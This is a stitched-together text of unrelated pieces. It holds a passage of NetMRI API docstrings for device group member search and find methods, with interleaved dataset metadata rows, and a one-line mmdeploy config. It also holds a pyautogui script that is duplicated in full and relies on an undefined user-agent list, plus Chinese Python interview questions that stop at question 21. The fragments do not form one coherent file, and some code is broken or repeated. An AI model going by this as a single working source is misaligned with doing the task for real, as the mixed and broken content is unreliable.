:type DeviceGroupMemberChangedCols: String
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberChangedCols: The fields that changed between this revision of the record and the previous revision.
:type DeviceGroupMemberChangedCols: Array of String
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberEndTime: The ending effective time of this record, or empty if still in effect.
:type DeviceGroupMemberEndTime: DateTime
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberEndTime: The ending effective time of this record, or empty if still in effect.
:type DeviceGroupMemberEndTime: Array of DateTime
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record.
:type DeviceGroupMemberID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record.
:type DeviceGroupMemberID: Array of Integer
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberStartTime: The starting effective time of this record.
:type DeviceGroupMemberStartTime: DateTime
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberStartTime: The starting effective time of this record.
:type DeviceGroupMemberStartTime: Array of DateTime
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberTimestamp: The date and time this record was collected or calculated.
:type DeviceGroupMemberTimestamp: DateTime
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberTimestamp: The date and time this record was collected or calculated.
:type DeviceGroupMemberTimestamp: Array of DateTime
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceID: The internal NetMRI identifier for the device associated with this membership record.
:type DeviceID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceID: The internal NetMRI identifier for the device associated with this membership record.
:type DeviceID: Array of Integer
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param GroupID: The internal NetMRI identifier for the group associated with this membership record.
:type GroupID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param GroupID: The internal NetMRI identifier for the group associated with this membership record.
:type GroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results.
:type DeviceGroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param timestamp: The data returned will represent the device group members as of this date and time. If omitted, the result will indicate the most recently collected data.
:type timestamp: DateTime
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device.
:type include: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 0
:param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information.
:type start: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 1000
:param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000.
:type limit: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` DeviceGroupMemberID
:param sort: The data field(s) to use for sorting the output. Default is DeviceGroupMemberID. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID.
:type sort: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` asc
:param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'.
:type dir: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param select: The list of attributes to return for each DeviceGroupMember. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. If empty or omitted, all attributes will be returned.
:type select: Array
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_field: The field name for NIOS GOTO that is used for locating a row position of records.
:type goto_field: String
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records.
:type goto_value: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param query: This value will be matched against device group members, looking to see if one or more of the listed attributes contain the passed value. You may also surround the value with '/' and '/' to perform a regular expression search rather than a containment operation. Any record that matches will be returned. The attributes searched are: DataSourceID, DeviceGroupMemberChangedCols, DeviceGroupMemberEndTime, DeviceGroupMemberID, DeviceGroupMemberStartTime, DeviceGroupMemberTimestamp, DeviceID, GroupID.
:type query: String
| ``api version min:`` 2.3
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering.
:type xml_filter: String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_group_members: An array of the DeviceGroupMember objects that match the specified input criteria.
:rtype device_group_members: Array of DeviceGroupMember
"""
return self.api_list_request(self._get_method_fullname("search"), kwargs)
def find(self, **kwargs):
"""Lists the available device group members matching the input specification. This provides the most flexible search specification of all the query mechanisms, enabling searching using comparison operations other than equality. However, it is more complex to use and will not perform as efficiently as the index or search methods. In the input descriptions below, 'field names' refers to the following fields: DataSourceID, DeviceGroupMemberChangedCols, DeviceGroupMemberEndTime, DeviceGroupMemberID, DeviceGroupMemberStartTime, DeviceGroupMemberTimestamp, DeviceID, GroupID.
**Inputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DataSourceID: The operator to apply to the field DataSourceID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DataSourceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DataSourceID: If op_DataSourceID is specified, the field named in this input will be compared to the value in DataSourceID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DataSourceID must be specified if op_DataSourceID is specified.
:type val_f_DataSourceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DataSourceID: If op_DataSourceID is specified, this value will be compared to the value in DataSourceID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DataSourceID must be specified if op_DataSourceID is specified.
:type val_c_DataSourceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceGroupMemberChangedCols: The operator to apply to the field DeviceGroupMemberChangedCols. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberChangedCols: The fields that changed between this revision of the record and the previous revision. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceGroupMemberChangedCols: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceGroupMemberChangedCols: If op_DeviceGroupMemberChangedCols is specified, the field named in this input will be compared to the value in DeviceGroupMemberChangedCols using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberChangedCols must be specified if op_DeviceGroupMemberChangedCols is specified.
:type val_f_DeviceGroupMemberChangedCols: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceGroupMemberChangedCols: If op_DeviceGroupMemberChangedCols is specified, this value will be compared to the value in DeviceGroupMemberChangedCols using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberChangedCols must be specified if op_DeviceGroupMemberChangedCols is specified.
:type val_c_DeviceGroupMemberChangedCols: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceGroupMemberEndTime: The operator to apply to the field DeviceGroupMemberEndTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberEndTime: The ending effective time of this record, or empty if still in effect. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceGroupMemberEndTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceGroupMemberEndTime: If op_DeviceGroupMemberEndTime is specified, the field named in this input will be compared to the value in DeviceGroupMemberEndTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberEndTime must be specified if op_DeviceGroupMemberEndTime is specified.
:type val_f_DeviceGroupMemberEndTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceGroupMemberEndTime: If op_DeviceGroupMemberEndTime is specified, this value will be compared to the value in DeviceGroupMemberEndTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberEndTime must be specified if op_DeviceGroupMemberEndTime is specified.
:type val_c_DeviceGroupMemberEndTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceGroupMemberID: The operator to apply to the field DeviceGroupMemberID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceGroupMemberID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceGroupMemberID: If op_DeviceGroupMemberID is specified, the field named in this input will be compared to the value in DeviceGroupMemberID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberID must be specified if op_DeviceGroupMemberID is specified.
:type val_f_DeviceGroupMemberID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceGroupMemberID: If op_DeviceGroupMemberID is specified, this value will be compared to the value in DeviceGroupMemberID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberID must be specified if op_DeviceGroupMemberID is specified.
:type val_c_DeviceGroupMemberID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceGroupMemberStartTime: The operator to apply to the field DeviceGroupMemberStartTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberStartTime: The starting effective time of this record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceGroupMemberStartTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceGroupMemberStartTime: If op_DeviceGroupMemberStartTime is specified, the field named in this input will be compared to the value in DeviceGroupMemberStartTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberStartTime must be specified if op_DeviceGroupMemberStartTime is specified.
:type val_f_DeviceGroupMemberStartTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceGroupMemberStartTime: If op_DeviceGroupMemberStartTime is specified, this value will be compared to the value in DeviceGroupMemberStartTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberStartTime must be specified if op_DeviceGroupMemberStartTime is specified.
:type val_c_DeviceGroupMemberStartTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceGroupMemberTimestamp: The operator to apply to the field DeviceGroupMemberTimestamp. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberTimestamp: The date and time this record was collected or calculated. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceGroupMemberTimestamp: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceGroupMemberTimestamp: If op_DeviceGroupMemberTimestamp is specified, the field named in this input will be compared to the value in DeviceGroupMemberTimestamp using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberTimestamp must be specified if op_DeviceGroupMemberTimestamp is specified.
:type val_f_DeviceGroupMemberTimestamp: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceGroupMemberTimestamp: If op_DeviceGroupMemberTimestamp is specified, this value will be compared to the value in DeviceGroupMemberTimestamp using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberTimestamp must be specified if op_DeviceGroupMemberTimestamp is specified.
:type val_c_DeviceGroupMemberTimestamp: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_DeviceID: The operator to apply to the field DeviceID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceID: The internal NetMRI identifier for the device associated with this membership record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_DeviceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_DeviceID: If op_DeviceID is specified, the field named in this input will be compared to the value in DeviceID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceID must be specified if op_DeviceID is specified.
:type val_f_DeviceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_DeviceID: If op_DeviceID is specified, this value will be compared to the value in DeviceID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceID must be specified if op_DeviceID is specified.
:type val_c_DeviceID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_GroupID: The operator to apply to the field GroupID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. GroupID: The internal NetMRI identifier for the group associated with this membership record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_GroupID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_GroupID: If op_GroupID is specified, the field named in this input will be compared to the value in GroupID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_GroupID must be specified if op_GroupID is specified.
:type val_f_GroupID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_GroupID: If op_GroupID is specified, this value will be compared to the value in GroupID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_GroupID must be specified if op_GroupID is specified.
:type val_c_GroupID: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results.
:type DeviceGroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param timestamp: The data returned will represent the device group members as of this date and time. If omitted, the result will indicate the most recently collected data.
:type timestamp: DateTime
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device.
:type include: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 0
:param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information.
:type start: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 1000
:param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000.
:type limit: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` DeviceGroupMemberID
:param sort: The data field(s) to use for sorting the output. Default is DeviceGroupMemberID. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID.
:type sort: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` asc
:param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'.
:type dir: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param select: The list of attributes to return for each DeviceGroupMember. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. If empty or omitted, all attributes will be returned.
:type select: Array
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_field: The field name for NIOS GOTO that is used for locating a row position of records.
:type goto_field: String
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records.
:type goto_value: String
| ``api version min:`` 2.3
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering.
:type xml_filter: String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_group_members: An array of the DeviceGroupMember objects that match the specified input criteria.
:rtype device_group_members: Array of DeviceGroupMember
"""
return self.api_list_request(self._get_method_fullname("find"), kwargs)
| 53.885827
| 583
| 0.621563
| 4,767
| 41,061
| 5.311936
| 0.058527
| 0.070295
| 0.045691
| 0.052366
| 0.935471
| 0.933497
| 0.906998
| 0.898152
| 0.882316
| 0.882079
| 0
| 0.005038
| 0.299092
| 41,061
| 761
| 584
| 53.956636
| 0.874809
| 0.82526
| 0
| 0
| 0
| 0
| 0.065657
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.363636
| false
| 0
| 0.090909
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 9
|
4c158f326a9802ca733880681a122dfefd909449
| 71
|
py
|
Python
|
configs/mmdet/detection/detection_tensorrt-fp16_dynamic-320x320-1344x1344.py
|
zhiqwang/mmdeploy
|
997d111a6f4ca9624ab3b36717748e6ce002037d
|
[
"Apache-2.0"
] | 746
|
2021-12-27T10:50:28.000Z
|
2022-03-31T13:34:14.000Z
|
configs/mmdet/detection/detection_tensorrt-fp16_dynamic-320x320-1344x1344.py
|
zhiqwang/mmdeploy
|
997d111a6f4ca9624ab3b36717748e6ce002037d
|
[
"Apache-2.0"
] | 253
|
2021-12-28T05:59:13.000Z
|
2022-03-31T18:22:25.000Z
|
configs/mmdet/detection/detection_tensorrt-fp16_dynamic-320x320-1344x1344.py
|
zhiqwang/mmdeploy
|
997d111a6f4ca9624ab3b36717748e6ce002037d
|
[
"Apache-2.0"
] | 147
|
2021-12-27T10:50:33.000Z
|
2022-03-30T10:44:20.000Z
|
_base_ = ['../_base_/base_tensorrt-fp16_dynamic-320x320-1344x1344.py']
| 35.5
| 70
| 0.774648
| 9
| 71
| 5.444444
| 0.777778
| 0.326531
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.235294
| 0.042254
| 71
| 1
| 71
| 71
| 0.485294
| 0
| 0
| 0
| 0
| 0
| 0.802817
| 0.802817
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4c746a6fe83e36ce5599e88bc1f315197cb35d98
| 2,249
|
py
|
Python
|
Pyautogui_tutorial/mouseclicktarget.py
|
xfzlun/WinUIAutomation
|
0f94388671cf0aacbc8499293b7dd31ddfa205fa
|
[
"MIT"
] | null | null | null |
Pyautogui_tutorial/mouseclicktarget.py
|
xfzlun/WinUIAutomation
|
0f94388671cf0aacbc8499293b7dd31ddfa205fa
|
[
"MIT"
] | null | null | null |
Pyautogui_tutorial/mouseclicktarget.py
|
xfzlun/WinUIAutomation
|
0f94388671cf0aacbc8499293b7dd31ddfa205fa
|
[
"MIT"
] | null | null | null |
import pyautogui
import random
import pyperclip
#左键点击脚本
def left_click(path): #定义一个函数实现左键点击的功能
left_click1 = pyautogui.locateOnScreen(path) #把目标图片当作参数传递给path
print('left_click1::', left_click1)
if left_click1:
url_x, url_y = pyautogui.center(left_click1)
pyautogui.leftClick(url_x, url_y)
return True
return False
def change_ua(): #定义一个函数实现随机变换目标图片
ua=random.choice(useragents)
for i in range(2):
result0 = left_click('./images/ua{}.png'.format(i))
if result0:
break
result2 = left_click('./images/ua2.png')
result3 = left_click('./images/ua3.png')
result4 = left_click('./images/ua40.png')
for j in range(1,3):
result5 = left_click('./images/ua4{}.png'.format(j))
if result5:
pyautogui.hotkey('ctrl','a')
pyautogui.hotkey('backspace')
pyperclip.copy(ua)
pyautogui.hotkey('ctrl','v')
pyautogui.press('enter')
result6 = left_click('./images/ua_refresh.png')
left_click('./images/ua5.png')#左键点击脚本
def left_click(path): #定义一个函数实现左键点击的功能
left_click1 = pyautogui.locateOnScreen(path) #把目标图片当作参数传递给path
print('left_click1::', left_click1)
if left_click1:
url_x, url_y = pyautogui.center(left_click1)
pyautogui.leftClick(url_x, url_y)
return True
return False
def change_ua(): #定义一个函数实现随机变换目标图片
ua=random.choice(useragents)
for i in range(2):
result0 = left_click('./images/ua{}.png'.format(i))
if result0:
break
result2 = left_click('./images/ua2.png')
result3 = left_click('./images/ua3.png')
result4 = left_click('./images/ua40.png')
for j in range(1,3):
result5 = left_click('./images/ua4{}.png'.format(j))
if result5:
pyautogui.hotkey('ctrl','a')
pyautogui.hotkey('backspace')
pyperclip.copy(ua)
pyautogui.hotkey('ctrl','v')
pyautogui.press('enter')
result6 = left_click('./images/ua_refresh.png')
left_click('./images/ua5.png')
| 35.698413
| 67
| 0.580703
| 256
| 2,249
| 4.953125
| 0.234375
| 0.113565
| 0.165615
| 0.025237
| 0.966877
| 0.966877
| 0.966877
| 0.966877
| 0.966877
| 0.966877
| 0
| 0.027569
| 0.290351
| 2,249
| 63
| 68
| 35.698413
| 0.766917
| 0.047132
| 0
| 0.947368
| 0
| 0
| 0.154291
| 0.022179
| 0
| 0
| 0
| 0
| 0
| 1
| 0.070175
| false
| 0
| 0.052632
| 0
| 0.192982
| 0.035088
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d5cb63cc9a08efad1af881fed9f23f833f8ed7a6
| 35,972
|
py
|
Python
|
PythonInterview/InterviewQuestions/Questions_01.py
|
xtawfnhdx/PythonInterview
|
515675ffd86eb1ad3bfa631fd3c88fddcf411e98
|
[
"Apache-2.0"
] | null | null | null |
PythonInterview/InterviewQuestions/Questions_01.py
|
xtawfnhdx/PythonInterview
|
515675ffd86eb1ad3bfa631fd3c88fddcf411e98
|
[
"Apache-2.0"
] | null | null | null |
PythonInterview/InterviewQuestions/Questions_01.py
|
xtawfnhdx/PythonInterview
|
515675ffd86eb1ad3bfa631fd3c88fddcf411e98
|
[
"Apache-2.0"
] | null | null | null |
"""
110道Python面试题
URl:
"""
# 01 一行代码实现1-100之和
# range的第二个参数,是开区间,也就是不包括第二个参数
print('第一题:', sum(range(1, 101)))
# 02 如何在一个函数内部修改全局变量
test02 = 10
def funtest02():
global test02
test02 = 5
print(test02)
print('第二题:', test02)
# 03 列出5个Python 标准库
print('第三题:', 'typing', 'datetime', 'time', 'range', 'abc', 're', )
# 04 字典如何删除键和合并两个字典
test04_1 = {'a': 1, 'b': 2}
print('第四题:', test04_1)
del test04_1['a']
test04_1['c'] = 5
print(test04_1)
test04_2 = {'aa': 2, 'bb': 2}
test04_2.update(test04_1)
print(test04_2)
print('拓展,关于列表操作 list')
test04_list1 = [1, 2, 3]
test04_list2 = [4, 5, 3]
test04_list1.remove(2)
test04_list2.extend(test04_list1)
print(test04_list2)
print('拓展,关于元组 tuple')
test04_tuple = (1, 2, 3)
print(test04_tuple[1])
print('拓展,关于集合 set')
test04_set01 = {1, 2, 3}
test04_set01.remove(2)
print(test04_set01)
test04_set02 = {3, 4, 5}
test04_set02.update(test04_set01)
print(test04_set02)
# 05 谈下python的GIL
print('全局解释器锁')
# 06 python实现列表去重的方法
# 直接将列表转换为集合,集合是没有重复项的数据类型
test06_list1 = [1, 2, 3, 4, 4, 3, 7, 5, 6, 7, 3]
test06_set1 = set(test06_list1)
print('第6题的集合', test06_set1)
test06_list2 = [x for x in test06_set1]
print(test06_list2)
# 07 fun(*args,**kwargs)中的*args,**kwargs是什么意思
print('第07题:fun(*args,**kwargs)中的*args,**kwargs是什么意思')
print('*args 表示"非键值"对的可变数量的参数列表')
print('**kwargs 表示"键值对"的可变数量的参数列表')
def deftest07(*args, **kwargs):
print('输出"非键值对"的可变数量参数列表')
for x in args:
print(x)
print('输出"键值对"的可变数量参数列表')
for k, v in kwargs.items():
print(f'key:{k},value:{v}')
deftest07(1, 2, 4, 'aa', 'sbs', name='t2', sex='women')
# 08 python2和python3的range(100)的区别
print('第08题:python2和python3的range(100)的区别')
print('python2返回列表 python3返回迭代器 节约内存')
# 09 一句话解释什么样的语言能够用装饰器
print('09 一句话解释什么样的语言能够用装饰器')
print('函数可以作为参数传递的语言,可以使用装饰器')
# 10 Python 内建数据有哪些
print('10 Python 内建数据有哪些')
print(type(int(10)))
print(type(float(10)))
print(type(bool(0)))
print(type(str('a')))
print(type(list([1, 2])))
print(type(tuple((1, 2))))
print(type(dict({'a': 1})))
print(type(set({'a'})))
print(type(bytes()))
# 11 简述面向对象中 __new__ 和 __init__ 的区别
print('11 简述面向对象中 __new__ 和 __init__ 的区别')
print('__new__ 含义为创建一个对象的实例,为第一步操作,new方法必须有一个返回值,包含一个cls参数')
print('__init__ 含义为为对象的实例初始化一部分操作,为第二部操作,前提是已经创建了一个对象的实例')
# 12 简述with方法打开处理文件帮我们做了什么
print('12 简述with方法打开处理文件帮我们做了什么')
print('调用结束或者异常时,自动释放资源,也就是f.close方法')
# 13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25],并使用列表推导式提取出大于10的数,最终输出[16,25]
print('13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25],并使用列表推导式提取出大于10的数,最终输出[16,25]')
test13_01list = [1, 2, 3, 4, 5]
def deftest13(x):
return x * x
test13_02list = list(map(deftest13, test13_01list))
print(test13_02list)
print('列表推导式结果:', [x for x in test13_02list if x > 10])
print('lambda表达式结果:', list(filter(lambda x: x > 10, test13_02list)))
# 14 python中生成随机整数、随机小数、0--1之间小数的方法
import random
print('生成随机整数,需要传入区间:', random.randint(1, 100))
print('生成随机小数:', random.random())
print('生成0--1之间的小数', random.random())
# 15 避免转义给字符串加哪个字母表示原始字符串?
print('15 避免转义给字符串加哪个字母表示原始字符串?')
print('输出转义字符:', '\r\n')
print('输出非转义字符(加斜杠):', '\\r\\n')
print('输出非转义字符(加"r"字符前缀):', r'\r\n')
# 16 正则表达式使用
# 17 python中使用断言
print('17 python中使用断言')
def deftest17(counts):
# 断言成功,则继续执行,断言失败,则程序报错
assert 0 < counts < 10, '这里是断言错误抛出的异常字符串'
return counts
try:
print('正常执行')
deftest17(6)
print('命中断言')
deftest17(12)
except AssertionError as e:
print(e)
# 18 数据表student有id,name,score,city字段,其中name中的名字可有重复,需要消除重复行,请写sql语句
print('18 数据表student有id,name,score,city字段,其中name中的名字可有重复,需要消除重复行,请写sql语句')
# 19
# 20
# 21 列出python中可变数据类型和不可变数据类型,并简述原理
